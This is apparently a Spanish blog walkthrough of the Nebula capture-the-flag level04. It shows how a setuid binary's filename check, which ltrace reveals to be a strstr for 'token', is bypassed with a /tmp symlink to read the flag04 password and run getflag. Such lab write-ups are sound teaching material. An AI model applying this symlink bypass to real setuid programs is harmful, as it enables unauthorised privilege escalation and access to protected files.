Descubramos que nos depara el próximo reto:
level04@nebula:/home/flag04$ ls -al
total 13
drwxr-x--- 2 flag04 level04 93 2011-11-20 21:52 .
drwxr-xr-x 1 root root 80 2012-08-27 07:18 ..
-rw-r--r-- 1 flag04 flag04 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag04 flag04 3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04
-rw-r--r-- 1 flag04 flag04 675 2011-05-18 02:54 .profile
-rw------- 1 flag04 flag04 37 2011-11-20 21:52 token
level04@nebula:/home/flag04$ file flag04
flag04: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
level04@nebula:/home/flag04$ file token
token: regular file, no read permission
De nuevo un binario setuid y además un fichero
token
para el que no tenemos permiso de lectura ni escritura. Nada mejor que ejecutar la aplicación para hacernos una idea de su funcionamiento:
level04@nebula:/home/flag04$ ./flag04
./flag04 [file to read]
level04@nebula:/home/flag04$ ./flag04 token
You may not access 'token'
La pregunta es, ¿cómo comprueba
./flag04
que no tenemos acceso a token
? Un desensamblador nos daría la respuesta más detallada, pero en este caso también ltrace
resulta más económico:
level04@nebula:/home/flag04$ ./flag04 token
You may not access 'token'
level04@nebula:/home/flag04$ ltrace ./flag04 token
__libc_start_main(0x8048554, 2, 0xbf8b7c04, 0x80486b0, 0x8048720 <unfinished ...>
strstr("token", "token") = "token"
printf("You may not access '%s'\n", "token"You may not access 'token'
) = 27
La llamada a
strstr()
comprueba si el argumento pasado al programa contiene la cadena "token", desde luego un pobre mecanismo de seguridad. Podemos crear un enlace simbólico con otro nombre y utilizar este como parámetro de ./flag04
:
level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/fake
level04@nebula:/home/flag04$ ./flag04 /tmp/fake
06508b5e-8909-4f38-b630-fdb148a848a2
Correcto. Este flag resulta ser el password del usuario flag04, con lo que procedemos a loguearnos y ejecutar
getflag
:
level04@nebula:/home/flag04$ su flag04
Password:
sh-4.2$ /bin/getflag
You have successfully executed getflag on a target account
Pwned!
No hay comentarios:
Publicar un comentario